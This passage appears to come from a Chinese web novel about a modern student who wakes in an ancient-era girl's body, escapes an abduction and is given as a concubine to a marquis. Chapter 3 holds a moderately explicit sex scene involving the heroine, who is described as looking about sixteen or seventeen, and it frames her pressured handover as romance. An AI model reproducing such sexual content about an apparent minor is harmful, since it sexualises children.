《侯府小妾生存指南》 1. 第 1 章 《侯府小妾生存指南》全本免费阅读 耳畔有人在骂骂咧咧。 叶知微的眼皮很沉,睁不开眼,她被吵的有些烦躁,不是吧,阴间也有骂街的? 她努力了半晌都没有睁开,脑袋却炸裂般的疼痛,一股不属于自己的记忆就这么呼啸而来。 只等那股疼痛感消失,她才缓缓的睁开了眼睛。 苍天啊大地啊,你说死就死了得了,到底是哪位穿越大神跟她开了这么个玩笑,莫名其妙的穿到了别人身上,还是个古人! 婆子还在耳旁喋喋不休,看她睁开了眼睛似乎更加起劲, “我们家大爷看上你是你的福气,你这小娘子也不要不知好歹,长了这么张皮囊总归是伺候男人的的命,不然被卖进青楼伺候的可就不只是一个男人了。哼,我们大爷可是县令大人的大舅兄,前途不可限量,就你这么个狐媚子,也就让我们大爷稀罕些日子罢了,” 嗯,这还不如死了。 叶知微沉下眸子,努力的消化这婆子的话。 别的叶知微没听清,只这县令大人的大舅兄几个字听的特别清楚。 寻着原主的记忆迅速分析了下当前的形势,今儿个这一出完全是原主兄嫂卖妹求荣设计的一出戏码,而那所谓县令的大舅哥自然也不是什么好东西,欺男霸女,为非作歹的玩意儿,要是真跟了他,也不知能被新鲜几日小命定被蹉跎没了。 需得在半路想办法跳掉。 而今,只有见机行事了。 她脑子很乱,还没适应原主的身体,但是她知道,必须逃走。 叶知微,21世纪来的脆皮女大,还是个学美术的,文不成理不就,画画也没画的多好,只上了本地的一所艺术学院。 从小被宠着长大,虽然已经大二,但是连衣服她都是没有洗过的,穿越的契机大概是她用自己的命救了个横穿马路的娃娃。 此时此刻,她更想仰天长啸,不是,做个好事还能被发配到千年之前吗?还是个自己从来没听说过的朝代? 她不想啊,求求了,让她投胎去吧。 她一点不想穿越有没有,她只想就那么死掉啊。 哎。 她还来不及悲伤,情绪就完全被眼前的形势影响,衣袖下面的手一直在紧张的颤抖,她是真的怕。 作为新时代新青年,她脆弱的不像话,什么狐媚子伺候男人的命,她就是个柔弱无助不知人事的小女娃啊。 小手紧握成拳,努力给自己打气,逃走,一定寻个办法逃走。 她看了看如今自己身处的环境,逼仄狭小的车厢,喋喋不休的婆子,无助弱小的自己。 幸好,原主是怒急攻心晕倒的,那婆子觉得她没什么攻击性并没有绑住她的手脚。 在心里默默盘算逃离的方法,路上若是逃不掉,进到那烂人的府里又该如何自保,一桩桩一件件让她紧皱了眉头,内心也是愈发的紧张,浑身已经止不住的哆嗦。 马车却忽的停了下来,那婆子顿时跳脚,骂骂咧咧的向外道:“陈二狗你怎么回事?怎么停了?大爷还在府上等着呢!” 那叫陈二狗的在马车外压低了声音讨好道:“王妈妈,您稍安勿躁,看这马车应该是县令夫人的,小的从前跟大爷在县衙碰到过,咱们理应让让,小的这先给您赔礼了。” 这个叫王妈的竟然冷哼两声,还有些不服气,嘴里絮叨着等我们大姐儿生了哥儿定是能抬为平妻的,到时候什么县令夫人,哼,还不知道谁是夫人呢。 县令夫人! 这一句县令夫人的马车让叶知微眼睛亮了起来,好,不若就在这拼上一拼吧。 深吸口气,让自己不要怕。 只见她眼神忽的坚定起来,动作丝毫不拖泥带水,出其不意,一拳冲向了那王妈的太阳穴。 这身子实在弱的很,她哐哐两拳才将人给打晕了去。 她自上初中开始便学泰拳,虽只周末学学,也没实战过,但是还是有些攻击力在的。 迅速将自己的头发揉乱,衣裳撕破,看也不看晕了的婆子提起裙摆就跌跌撞撞往马车外跑。 刚下马车便迎上了正过马路的一行车架,她不管不顾径直的冲了过去。 嘴里还高声呼喊着:“求县令夫人救救民女,有人冒充县令大人的大舅兄将民女掳了去!求县令夫人救救民女!” 陈二狗等人这才反应过来,急忙带着小厮便要冲上前去抢人,可惜已经晚了。 县令夫人今日恰巧是带着护卫出来的,护卫见这情况,眼看路人都围了上来,又看到陈二狗几人确实是要抢这民女,也知道是不能不管,连忙将陈二狗等人拦了下来。 马车内的县令夫人在听到有人冒充县令大人大舅兄的身份的时候,已然是火冒三丈了。 只见陆氏怒极,冷哼道:“好啊,敢冒充我兄长,我到底看看是谁这么大的胆子!” “有人冒充县令大人的大舅兄将民女掳了去!求县令夫人救救民女!” 马车外叶知微还在高声呼喊着,她咬着牙,身体因为紧张不断打着哆嗦,只求县令夫人是个好的,能将她救下。 围观的人越来越多了。 只见一位年长的婆子快步下了马车,几步行至叶知微身前,将地上跪的披头散发好不可怜的女子给扶了起来,待看清相貌的时候还是不免惊艳了一瞬,而后才将人一起带了上去。 县令夫人所乘坐的马车比刚刚她坐的马车要大很多,五六个人坐在里面都是不觉拥挤的。 来不及擦掉脸上的泪珠,叶知微径直朝坐在车厢中间略显富态的妇人跪了下来,一边跪一边道谢,“民女多谢县令夫人救命之恩。” 陆氏面色红润,保养得当,看起来也就三十多岁的样子。 她看这女子也顶多十六七岁的年纪,缘何受了这么大的委屈,叹了口气,让曹婆子将人给扶起坐下。 待看清她的面容,陆氏只瞧了一眼便愣住了,她的眸色渐深竟凝起了一片水雾,她的娇娇要是还活着怕也是这般年纪了吧。 陆氏不着痕迹的将眼泪擦掉,再次细细端详起来,这女子即使如今衣裳头发散乱还是难掩清丽之姿,人应是吓的很了,即使已经坐下,还是满脸的泪水,身子忍不住的发抖,这梨花带雨的模样虽显狼狈,却给女子带了些不一样的韵味,像是 2. 第 2 章 《侯府小妾生存指南》全本免费阅读 县衙后院,有人因为刚免过了一场灾祸而沉沉睡去,有人因为得了主子赏的两个大钱而心情愉悦,有人因为弄坏了姨娘的首饰而胆战心惊。 人生本就是场灾难,各人有各人的苦不堪言吧。 县令夫人房中。 刚招待过贵人的姜县令刚换下一身的官袍,陆氏朝大丫鬟桃儿递了个眼神,桃儿会意立马行至县令身前殷勤的按起了肩膀。 姜县令舒服的眯起了眼,那手还不老实的摸了摸桃儿白嫩的小手。 许是司空见惯了的,陆氏坐在一旁眼皮都没抬一个,只端起身前的茶盏吃了口道:“老爷可不能再惯着柳姨娘了,今日柳姨娘的兄长打着县令大舅兄的名义强抢民女,幸亏那民女拦的是我的车架,若是拦的是京里贵人的车架,那咱们一府的人怕是都要给柳姨娘一家陪葬了。” 一句话给姜县令说的一激灵,立马坐直了身体,那手还不耐烦的将桃儿给拨弄到一边去,紧张道:“我的好夫人,那贱人我定不轻饶,只那民女你可处理好了?此事是断不能被安定侯发现的!” 陆氏只慢悠悠吃着茶,半晌才冷哼出声:“哼,那贱人的兄长可不是第一次抢人了,老爷您不知道?怎的安定侯一来您便紧张了?今日这街上的动静实在大的很,怕是此时安定侯已经知道此事了。” 陆氏也不给姜县令说话的机会,语似帘珠是的继续道:“您今年可是在这临县的第三年了,在这个节骨眼上若是出了岔子,怕是很难挪动了,若是能扒上安定侯,” 在这个时候停下,给姜县令急的已经冒了汗,不由的将姿态压的很低,轻声哄道:“好夫人,为夫定是会将那贱人一家处理干净,你就别卖关子了。” 陆氏脸上已然是变得柔和,语气也缓和了许多,多年的夫妻关系,她对付自己男人,自是有一套的,“老爷这话说的,本来也是柳姨娘的家人做的太过,您为民除害自是应该,话说回来,我看桃儿也到了该嫁人的年纪了,她也是伺候我的老人,不若过两日老爷便将桃儿收了房吧,” 陆氏语气变得慢慢悠悠,“嗯……至于那安定侯,” 姜县令对自家夫人是愈发的满意,这桃儿他可是想了很久了,但是现在还是正事要紧,他也没急着去和桃儿温存,支愣着耳朵一脸着急的听着陆氏继续说话。 陆氏也不再卖关子,“自古英雄难过美人关,咱们朝那边送上个美人便是了。” 陆氏下巴朝着安定侯暂住的院子努了努,眼睛里满是志在必得。 姜县令:“美人?可,京城来的什么样的美人儿没有见过,咱们这穷乡僻壤的,怎么,” 姜县令一头雾水的看着夫人,脑海里却浮现出午时见过的那惊鸿一瞥的身影,陆氏给了他一个您就瞧好吧的眼神,笑容也愈发意味深长,“您啊,且等着看。” 这边已经睡醒了的叶知微揉了揉有些发酸的脖颈,动了动僵硬的手脚,漫不经心开始打量着这间屋子,耳朵却支棱着听门外杏儿同小丫鬟翠儿的说话声。 “杏儿姐姐,今日县衙是真的来了位大人物吗?听说还是从京中来的?” “那当然,听说那位跟咱们夫人还有些亲戚关系呢,我大兴顶顶有名的人物,” 杏儿的声音不自觉的放轻了些,语气里带着崇拜,“一门英烈,今上亲封的安定侯,顾铭珏,嘘,你万不能再告诉别人了啊,这种大人物,哪是我们这种小人物能见过的,” 叶知微低垂着眸子,品味着杏儿的话,原主的记忆似乎只自家一方小院,甚少知道外面的世界,京城,应该就是大兴的京都了。 原主从小就长得好,十岁之后容貌渐显便一直被父母拘在家中。 叶父虽是个秀才,却也只是个教书先生,原主这样貌要是被人瞧了去,定是护不住的,原主也甚是懂事乖巧,对此从来未怨怼过。 直到一月前叶父叶母相继离世,兄嫂才打起了叶知微的主意。 叶知微不由的悲从中来,她也是被娇养长大的女孩子,还是家中的独女,为何会突然来到了这么个地方,不知道爸爸妈妈听到自己去世的消息能不能受的住,奶奶的身体也不好,他们白发人送黑发人,这,哎...... 门外传来声响,杏儿带着小丫鬟行礼道夫人来了。 叶知微将泪水擦了干净连忙起身去迎人。 客房的门一直是开着的。 陆氏进来后只留了曹婆子,丫鬟从外头将门关上,曹婆子手上捧着一身粉色的衣裙,衣裙上还有一个精美的首饰盒。 陆氏望着眼中还带着水汽的美人,笑了笑,那笑容就像是在看着自己孩子一样的关切。 陆氏握着叶知微的手,二人一同坐下,陆氏笑的和蔼,一张脸上写满了慈爱,不住的拍着她的手,温声道:“我一见你就心生喜欢,如今托大,便想着收你做义女,” 叶知微一脸的茫然,听到做义女这三个字的时候更是被吓了一跳,连忙站了起来。 实在是受宠若惊。 却不想县令夫人根本不给她站立的机会,紧握着她的手,眼睛怔怔的瞧着她,不由分说的留下了泪水,轻声道:“我本是生过一个女儿的,却在六岁时夭折,如果我的娇娇她还活着,定也是像你这般明亮鲜妍的,” 叶知微慌着手脚给她擦泪,却不知道怎么安慰才好。 陆氏将眼泪擦净,扯了扯嘴角,“你这般好的颜色,你的秀才父亲保了你这些年已是不易,如今双亲已去,怕是能护住你的人甚少了。” 陆氏看着叶知微神情嗫嚅的张了张嘴角,又低下头,脸上已是布满了泪痕,心中愈发的满意,“我是 3. 第 3 章 《侯府小妾生存指南》全本免费阅读 静夜沉沉,上弦月清清冷冷的挂在半空,月牙儿似的,不甚明亮。 叶知微只低着头跟着婆子走,只这路行的艰难,脚下的路虚浮,看不真切。 她一个大学生,车祸死就死了吧,却穿到异世,虽然白得了具貌美的身子,但却是被送来送去的。 只这一天,心情已经似过山车是的,她已然接受了现实,不接受也没办法,再死一次应该挺疼的,她怕了。 如今她被清洗了干净,由着婆子送她去伺候那位京里来的侯爷。 一路忐忑,她对这位侯爷一无所知,不知道这人是扁是圆是高是矮,若是个老头,或是个会磋磨人的,她又该怎么办。 既然是侯爷,自然是位高权重,心思深沉,倘若她行为不当,泄露了自己同旁人的不同,被当成妖孽了又该如何是好。 只听婆子反复的诉说侯爷是多么厉害,陛下的宠臣,大兴的肱骨,要好好伺候,伺候好了,她便是飞上枝头做凤凰了,锦衣玉食好不快活。 叹了口气,索性就兵来将挡水来土掩吧,先保住小命再说。 还未进院子,便闻到了花香。 守卫盘问了几声便放行了,叶知微目不斜视,大气都不敢喘。 行至树旁,叶知微终于大起了胆子偷偷的撇了一眼,月光下,硕大的金桂开满了金黄色的小花,枝枝蔓蔓肆意生长,香味浓郁,一如梦里家乡的模样,地上洋洋洒洒的满是金灿灿的花朵,星星点点的。 只一眼她便低下了头,差点掉下泪来,也不知道那个世界的父母亲人都如何了,自己的尸身火化了吗。 掩下心中的酸涩,家乡的她已经身死,再也回不去了。 转眼便到了一处厢房,门外有两名侍卫守着,与院外的守卫不同,这两位身着墨色的侍卫服,腰间别着长剑,身材高大。 婆子一阵点头哈腰,小声说自己是将叶姑娘送来的伺候侯爷的,还请两位向侯爷通报一下。 叶知微一直低头看着自己脚尖,并不言语,两个侍卫站在台阶上,只能看见女子曼妙的身姿,其中一人嗤笑了一声这鬼地方能有什么美人儿,被另一人制止,半晌才有了推门的声音。 片刻,一人返了回来,只道了句,姑娘请进。 叶知微这才有了动作,并未抬头,在婆子殷切的目光中缓缓踏门而入。 她刚进入,厢房的门便被从外侧关上了。 叶知微不由的放慢脚步,心里紧张的很,实在不知如何伺候呢,婆子这一会儿教的什么房中术早已被她忘了个干净。 厢房很大,屋里陈设简单,只是暂住,倒是不见奢华。 外间的塌上有一三十岁左右的男子,一身月白色锦袍,锦衣华服,看到她进来,将手中的书本放下,脸上表情淡漠的看向她,看不出什么喜怒。 叶知微慌忙上前行礼,内心却狠狠的松了口气,还好还好,并不是老头子。 “民女叶知微,见过侯爷。” 顾铭珏看着进来女子微微挑眉,这女子声音清甜,身形纤细婀娜让人惊艳,一身粉色衣裙仿若仙子。 为了扒上他,姜县令还真是下了血本了,穷乡僻壤的找了这么个绝色。 只是面容看不真切。 “抬起头来。” 男人的声音浑厚,音色低沉,辨不出喜怒。 叶知微听话抬头,却不敢拿正眼去瞧上首的人的,只小心翼翼的看了那人一眼,男人五官深邃,面容冷俊,一派气宇轩昂,她心里又松了口气,长的也好,面上却丝毫不显,眼睛只望着男人的胸口。 男人身材高大,叶知微的视线只能于男人胸口平行。 平心而论,这女子太符合顾铭珏的胃口了。 哪怕他安定侯位高权重大江南北的见多了美人,也不得不感叹一句这副好皮囊。 这是一张令人赏心悦目的脸蛋儿,樱唇琼鼻,眉目如月,眸光清澈如水,皮肤白皙无暇,鹅蛋脸圆润饱满,因紧张而微颤的睫毛细长,挠的人心痒痒。 顾铭珏小腹微紧。 他虽向来不重欲,却也不会委屈自己。 “过来。” 叶知微应声,不自觉的咬了咬唇,鼓起两辈子里最大的勇气走到顾铭珏身前站定。 越走近,越能闻到男人身上的淡淡的檀香味,冷冽而又淡雅。 猛的一阵天旋地转,她已经被男人抱了起来,双手条件反射是的勾住了男人的脖颈,再反应过来的时候她已经被男人丢进了床榻。 顾铭珏瞧着身下女子震惊慌乱紧张到不敢睁眼样子,心情莫名的好了起来,他嘴角微翘,“叫什么名字?” 叶知微实在不知道怎么做反才好,索性心一横,睁开眼睛好好看看要睡自己的男人。 却不想正对上男人玩味的眼睛,她更慌了,张了张嘴,小声道,“民女叫叶知微,见微知著的知微。” “嗯,还是个识文断字的。” “家父,家父是个秀才,所以民女识字。” 叶知微胆子甚小,说完只敢咬着唇怯怯的瞧着男人,眼神清澈,睫毛不住的抖动。白嫩的小脸红扑扑的,娇艳如滴,分外勾人。 顾铭珏冰山脸似融化了一般,难得的轻笑出声,大拇指附上了叶知微的唇,小心摩挲,“咬什么,” 贝齿松开后的樱唇更加水润明艳,对于男子,有着莫名的吸引力。 她身上,有着淡淡的桂花香,不那么浓烈,是他喜欢的味道。 而顾铭珏也不知怎的,第一次附上了女子的唇,他先是轻舔,似乎是觉得味道不错,下一瞬便撬开了她的贝齿,一时间室内只剩唇齿相依的声音。 叶知微被亲懵了,两辈子的第一个男人,她不知道作何反应,就,她是没有经验的,她死时才二十岁,一直没有谈过恋爱。 顾铭珏对她这懵懂的样子似乎是更加满意了,亲了亲她的鼻尖,叶知微能感觉到男人的呼吸越来越重,还恬不知耻的问她怕吗? 叶知微睫毛轻颤着看着男人棱角分明的面庞,感受着男人的动作,哪能不知道男人问的是什么,她面颊潮红,娇唇微启,羞赧的模样一如还未绽放的花苞, “您轻点,就,就不怕啦。” 语气轻轻柔柔的像是撒娇,声音却带着些娇媚,婉转动听,顾铭珏小腹胀的厉害,却还是放轻了动作,重新从脖颈开始一点一点的品尝。 都到这个地步了,与其反抗,不如享受。 叶知微努力放松紧绷的身体,一阵阵的颤栗,似乎每个毛孔都被打开。她没感觉到多疼,倒是觉得自己仿佛一直在海上飘荡,一卷一卷的海浪肆意袭来,一上一下的沉浮。 二人出乎意料的合拍。 最后叶知微也不知什么时候结束的,只记得自己不断求饶,最后竟晕了过去。 晨光熹微。 阳光从窗外打到床幔上,内侧的女子身姿曼妙,嘴唇微张,抱着被子睡的正熟。 叶知微是被翠儿叫醒的,翠儿便是跟杏儿一起的小丫鬟,十三岁的年纪,很是活泼。 她听着翠儿的声音,撅着嘴,小声嘟囔,能不能让我再睡一会儿啊,我的眼睛睁不开了。 她好困,不想睁开眼睛,浑身酸疼的厉害,某一处也传来异样的感觉,但是身上是清爽的。 脑子里都是穿过来这两日发生的事情,一时又有些昏昏沉沉的。 想继续睡。 却不想突然听到了男人散漫的声音,“怎么?昨夜里不是哭着求本侯离开时带上你的,这会儿又赖在床上不起。” 叶知微一个激灵便从床上爬了起来,抬眸便看到安定侯挑着床幔,语气有些玩味,眼睛定定的看着她。 她一头长发微乱,脖颈肩头布满红痕,斑斑点点的,他点点头,对昨夜表示满意。 一早便打发了侍卫告知了县令夫妻,自己已经将县令夫人送来的义女收了房,提了妾室,今日也会一并带走。 叶知微被男人看的面若绯霞,抓着被子的手不自觉的往上提了提,牙齿轻咬着被男人亲的有些红肿的小嘴,感受着男人肆意的眼神,不敢看男人,只好小声道,“我,民女,这就起,您,您别看成不成。” 居上临下看,白日的叶知微比昨夜他初见时更加貌美,肤白如雪,长发垂肩,一声微微有些暗哑娇软的您别看让他浑身又冒起火来,顾铭珏却也知道不能耽搁行程,心道来日方长,挑了挑眉便放下了床幔。 叶知微顿时松了气,不顾身上的不适,在翠儿的帮助下迅速穿好了衣服。 她看男人的眼神和表情,应该对她是满意的,听那婆子说贵人们都喜欢听话懂事会撒娇的,这题她可太会了,菟丝花嘛,她本就是乖巧懂事又话少的性子,面上装一装就过去了。 对待侯爷就要像对待人民币一样喜爱,这么想着叶知微的眉心就舒展开了。 虽然也看穿越小说,但是真没看过穿到异世当小妾该怎么生存,她也没什么金手指,昨日她试了,什么簪子玉佩手上的痣,空间系统啥都没有。 也就是说,她只能靠着自己在这异世艰难求生。 她家里是开饭店的,她嘴刁,从小耳濡目染的跟着父母学了些做菜 5. 第 5 章 《侯府小妾生存指南》全本免费阅读 晨光明媚。 秋日的农家小院已然热闹起来,家家户户燃起了炊烟,一派烟火气息。 林间小路上,载着安定侯的马车悄然离开,扬起了阵阵尘土。 不出意外的,马车内的叶知微又在补眠。 昨夜她和金主是真的一张被纯聊天,但是架不住早晨起的早啊,她也没用多少吃食,上了马车之后晃晃悠悠的又睡着了。 顾铭珏深觉无奈,自己对这个小姨娘是否过于骄纵了,一上马车就拿自己当人肉靠垫,真不知是心大呢,还是胆大。 罢了,看她睡的香甜便也没有打扰到她,自己在一旁一只手处理公文。 似乎是急于赶路,叶知微不多时便被颠簸醒了,虽然还是困,但是也没再打算睡下去。 而是化身为书童,为金主磨墨端茶倒水,引得顾铭珏不由的多看了她几眼。 她只讨好的笑笑,也不多言。 一路上两人的相处分外和谐。 午膳也只是虽然吃了些干粮便继续赶路了,叶知微并没多吃,甚至连水都没喝两口,毕竟是在野外,古今第一难题便是上厕所了,女眷只叶知微和翠儿两人,所以,二人也是能不喝水就不喝水,免得给车队带来麻烦。 顾铭珏看在眼里,却也没多说什么,过两日到达商州,好好修养便是。 晚间是寻了处废弃的庙宇休息的。 背靠着密林,不远处还有条小溪,算是极好的栖息地了。 叶知微和翠儿终于寻了处僻静的地方解决了个人问题,远远的便瞧着顾铭珏站在河边,一行人在忙活着什么,语气还带着兴奋。 走进了她才瞧见,是几人抓了些野物,正收拾呢。 晚膳自然是野物就大饼,烤的滋啦冒油的肥兔子,焦香的山鸡,虽然山鸡肉有些柴,但是冯三几人应是在野外烤惯了的,味道都还算不错。 大饼在叶知微的强烈要求下,也烤了烤,烤到表面金黄咬上一口,满口焦脆的面香,属实是好吃。 顾铭珏是发现了,他的这位小姨娘是个爱吃且会吃的。 于是不由的怀念起前日的那碗手擀面来,确实好吃。 叶知微一手烤饼一手兔子肉吃的小嘴一鼓一鼓的,应该是吃的极为开心的,眼睛微微眯着,脑袋时不时的晃一下,顾铭珏觉得还蛮下饭的,他看着胃口都好了起来。 终于在两日后的午时到了商州。 几日的颠簸给小姨娘都快颠出毛病来了,好在终于到了地方。 看了几日的郡县志,叶知微知道这商州乃是府城。 商州靠着运粮河,也是西北地区最重要的交通枢纽,也算是古代繁华的大都市了。 马车在一处颇为低调雅致的小院外停下,简单的二进院子,院内有棵桂花树,如今开的正好,一进巷口桂花香便扑面而来。 闻着熟悉的香味,叶知微终于放松了下来。 肚子也在这时咕噜噜响了起来,正在想金主不会听到了吧,耳畔却一热,头顶传来金主低沉的嗓音;“可是饿了?” 叶知微俏脸微红,索性大方承认,小鸡啄米似的点头。 能不饿吗,宿在荒郊野岭的,她根本没睡好,夜里担惊受怕遇到虫蛇,早膳也没用多少,上了马车就开始睡,生生的被饿醒。 顾铭珏最爱她这幅羞赧又可怜兮兮的模样,不自觉的挑起了唇角,连眉眼都变得柔和了起来。 他转身下了马车,却停在一旁,动作自然的将他的小姨娘给扶了下来。 看到是他扶自己,叶知微自是眉眼自是弯成了月牙,也没觉得堂堂侯爷扶自己下马有什么不对,面上是一幅您对人家真好的模样。 这人想抬举自己,她知道。 她很感谢,也没感觉到什么受宠若惊的,这男人现在对自己新鲜的时候,定是会抬举几分的。 只是惊呆了周围的一种仆从。 就是先夫人恐怕都没受到过侯爷的这种待遇,别说这刚伺候侯爷还没几天的小姨娘了。 于是深觉之后对小姨娘需得更加的恭敬才是。 而那冯三,手肘拐了卫虎两下,一脸的八卦,“这小姨娘虽然年纪不大,但是跟咱们侯爷确实般配,郎才女貌,哎,你干嘛啊你,” 冯三还未说完便被卫虎扔了个包袱,两人打闹着终于进了门。 虽说是安定侯临时下榻的院子,却也是被打扫的干净整洁,井然有序。 他行事低调严谨,院子是一早买下的,仆从都是他的人。 顾铭珏牵着叶知微的手径直来到了主院的厢房,叶知微这才发现,厢房的圆桌上摆满了首饰和衣物。 她自是表现的非常惊喜,这黄澄澄金灿灿的首饰,这大颗大颗的珍珠串成的项链,妈耶,这可都是实打实的钱呢,她这是一夜暴富了啊,她差点没忍住放声大笑。 这便是一夜暴富的滋味了。 强忍住了摩挲首饰的冲动,围着圆桌走了几步,咬着唇角转身扑倒了苏侯爷的怀里,主打一个出其不意。 又哭又笑的。 顾铭珏高大的身子被娇小瘦弱的小人儿猛然扑了一个踉跄,一米八多的大个头,叶知微在他怀里显得小小的一只,他一时有些不知所措。 转瞬却又在听到怀里的小人儿抽泣声的时候没来由的有些心疼。 叶知微内心也算是有些感动的,不过想着要装就装的真实些。 眼泪也是说来就来,这几日的经历实在是玄幻,要不是没有独处的空间,她怕是早就哭成泪人了。 这时她还不忘抽抽噎噎的说侯爷您对妾可真好。 顾铭珏有些不甚熟练的拍打着叶知微的后背,力道很轻,轻到他仿佛听到了自己的心跳和怀里小人的抽噎声融为了一体,他想,这大概就是那人说的悸动吧。 当然了,戏也不能做的太过了。 叶知微始终拿捏着一个合适的度。 还是得先填饱了肚子再来宠幸这些黄白之物。 叶知微适时的扬起小脸跟侯爷说自己饿了。 顾铭珏看着脸上还挂着泪珠眼巴巴跟自己说饿了的宠妾,有些哭笑不得,还真是孩子心兴。 自是大手一挥吩咐立刻摆膳,然后拿出帕子将怀中小人的眼泪给擦了个干净,这才牵着人往偏厅用膳去了。 午膳自是吃的又香又饱,厨子的手艺自是没的说。 叶知微从来不是委屈自己的人,吃饱喝足之后顾铭珏自顾去忙了,她宠幸了半天金银首饰,不忘挑了两个小件塞到了翠儿手里,又舒舒服服的泡了个澡,便一头扎进了被子里。 末了还不忘嘱咐翠儿也去睡一觉,才踏实的睡去。 翠儿是县令夫人给叶知微的小丫鬟,今年才十三岁。 幼时也是有幸福美满的家庭的,只是六岁时父母病故后被大伯一家霸占了房屋田地,她便被赶了出来,幸好被县衙负责采买的婆子给捡了回去,做了烧火丫头,这才保住了一条命。 后来婆子也死了,翠儿磕磕绊绊的在县衙的后院长到了十三岁。 叶知微心疼她,从不苛待,对她像对姐妹一般,两人虽只主仆几日,但是翠儿早已将她视为最重要的人了。 翠儿很听叶知微的话,小心收好姑娘给的首饰,便也抱着被子守在偏厅的榻上睡了过去。 这一觉就睡到了用晚膳的时候。 顾铭珏没回来,她也实在不想从被窝里起来。 这一休息浑身的疲累便如海浪般席卷而来,她拒绝了翠儿要她吃饭的请求,翻了个身又沉沉睡去。 于是,当顾铭珏回来的时候,翠儿已经来不及将叶知微叫醒了。 顾铭珏倒也没生气,只是挥挥手让翠儿退下了,一眼又瞥见了桌子上的饭食,轻叹了口气,又 6. 第 6 章 《侯府小妾生存指南》全本免费阅读 第二日叶知微果然是睡到了日上三竿。 顾铭珏也知道自己夜里闹得有些厉害,在晨起时便制止了翠儿要叫醒叶知微的动作,由着她睡,自己则是神清气爽的出去了。 揉着自己发酸的腰和微颤的双腿,叶知微硬着头皮还是来到了厨房。 说出去的话泼出去的水,硬着头皮也得做上两道菜啊。 巳时已过半,她需得抓紧时间完成。 不过有厨娘帮着,也累不着她就是了。 既是中秋,她便想着做两道应景的菜。 少不了做上一道桂花糯米藕了。 这也是她自己最爱吃的一道甜品。 她从来都不是亏待自己的性子,无论是肚子还是别的。 翠儿一早便来到了厨房泡上了糯米,如今帮叶知微打着下手,小心的用筷子将糯米塞进处理好的莲藕里,也不必装的太满,七八分的样子便可。 起锅放灌好的莲藕,红枣,干桂花,冰糖红糖加水炖煮。 大火转小火,一个时辰后转大火收汁,盛出切盘撒上汤汁即可,觉得不好看,她又撒了些鲜桂花这才满意。 又做了个蒜香排骨,干煸了个虾仁。 想了想又觉得不能那么敷衍,合该做个寓意好些的。 如今八月中,正是瓜果蔬菜成熟的时候。 她捡了两个好看些的茄子,剁了些猪肉碎,做了个灯笼茄子,好吃又好看,寓意也好。 加上厨娘蒸的螃蟹,清蒸的鲈鱼,酱油鸡,清炒时蔬,八个菜,他们两个人吃也便足够了。 翠儿喜甜,她又顺手给翠儿专门做了个锅包肉,肉沫蒸了个蛋,给翠儿感动的热泪盈眶的。 谁家主子专门给丫鬟做饭吃啊,给侯爷才做了四道,给她就做了两道,她可太幸福了。 叶知微倒是真没什么想法,如今翠儿对她来说,是比顾铭珏还要亲近的人。 翠儿对她也好,她自然是拿翠儿当自己人的。 让翠儿先去吃,她换了身衣服和厨娘提着食盒便去了前院,和侯爷一起用膳。 顾铭珏还在处理政务,叶知微识趣的行了礼,便进了偏厅摆饭。 但到底还是听见了什么拐子之类的话。 她也没放在心上,跟在这种人身边,耳朵权当是摆设就是了。 小心的将餐盘摆好,又取出了桂花酒,中秋节,桂花酒和螃蟹,自然是少不了的。 每年的中秋节,她爸都会做上一道糯米藕给自己吃,奶奶会小心的给自己扒螃蟹,妈妈则是不断的给她夹菜让她多吃一些。 厨娘已经退下了,她有些呆愣的看着面前的一桌珍馐,一时间颇有些难过。 团圆的日子,也不知道异世的家人,是怎样度过的。 半晌,她深吸口气,将眼泪给硬逼了回去,现在的处境,可由不得她悲伤春秋,她还没有硬气的资本呢,还是得伺候好金主。 顾铭珏进来的时候,便见她微弯着身子在洗手巾。 听着他进来的动静,叶知微转过身去,淡笑着将帕子递了过去,“您可是饿了?妾可是做了好多好吃的。” 邀功的语气让顾铭珏心情不错,他将帕子精准的往盆子里扔去,牵着叶知微一同坐下。 是的,一同坐下,叶知微坐在他的腿上。 下人们也都识趣的退下了。 叶知微脸上顿时升起了一片红霞,却也大方的攀上了男人的脖颈,再次邀功。 “人家给您做的好吃的,您都不夸夸人家。” 顾铭珏眉眼上挑,眼睛直勾勾的盯着她莹润嫣红的嘴唇,大拇指附了上去,小心摩挲着,“有你好吃吗?” 饶是叶知微脸皮再厚,这一句话已经给她干害羞了,她红着脸看着顾铭珏,还是有些不好意思的。 顾铭珏竟然直接笑了起来。 说真的,叶知微此时丝毫不气恼,她只觉得顾铭珏笑起来真好看,此时的顾铭珏不再是冷酷无情的上位者,更像是成熟稳重满带笑意的世家公子,只是这笑声中却带了些狡黠的味道。 嗯,对于顾铭珏的皮囊,她是有些满意的,三十而立的年纪(其实人家29),虽然平时不苟言笑,但是跟她在一处时,还是挺放的开的。 一点也不像传说中杀伐果断的侯爷,倒像是个带点痞气的少爷。 听说侯爷的嫡长子女都已经十二了,庶子庶女也有两位,叶知微也有些拿不准,真要是跟着他回了侯府后院,日子是否还能像现在这般。 不知何时,两人便又亲在一处。 只是这一次,他的动作异常的温柔,她也慢慢的跟上了他的节奏。 等二人都平静下来吃上饭的时候,菜都有些凉了。 顾铭珏更是连喝了几杯凉酒,才将那股热意给压了下去。 吃着她做的菜,还颇为满意的点点头,“嗯,味道不错。” 于是,叶知微眼巴巴的等着顾铭珏再说些什么。 顾铭珏故意无视她的眼神,将她做的四道菜全部尝了一遍之后才慢悠悠开口:“这蜜藕像你一样甜,四道菜味道都还不错,当赏。” 他一个位高权重的侯爷,什么佳肴没有吃过呢,不过却也觉得味道确实不错,别有一番风味。 叶知微更来劲了,就差问出来一句您要赏些什么了,最好是些真金白银,首饰头面什么的都行,她都喜欢。 顾铭珏挑着唇角道,“晚上有灯会,赴过宴后,爷便带着你一同游灯会吧。” 叶知微那表情突然像被什么噎住了是的,但也只那一瞬,她心里想着也成吧,她还没逛过灯会呢,原主的记忆里也没有灯会,晚上倒是可以逛个明白。 这么一想心里也便高兴了起来。 心情愉悦的用起了午膳。 顾铭珏心道他这小姨娘还真好糊弄,罢了,晚上逛逛首饰铺子,再与她买上一些漂亮首饰吧,之后到了京里,她傍身的东西多了,也不至于被人看轻了去。 至于要去知府府上做客这事,已经完全被叶知微抛在了脑后。 她一个秀才女儿的出身,对这些达官贵人的后院之事是一窍不通的,不要说后世她看的小说或是电视剧了,在这异世,有用不了一点。 于是她本着兵来将挡水来土掩,天塌下来有顾铭珏这个侯爷顶着的想法,被顾铭珏牵上了马车。 再者,她不相信只是纯粹的去赴宴,顾铭珏自是带着任务游走在各地的,他那八百个心眼子,她只管跟着便是了。 这次的马车显然规格更高了些,双马的。 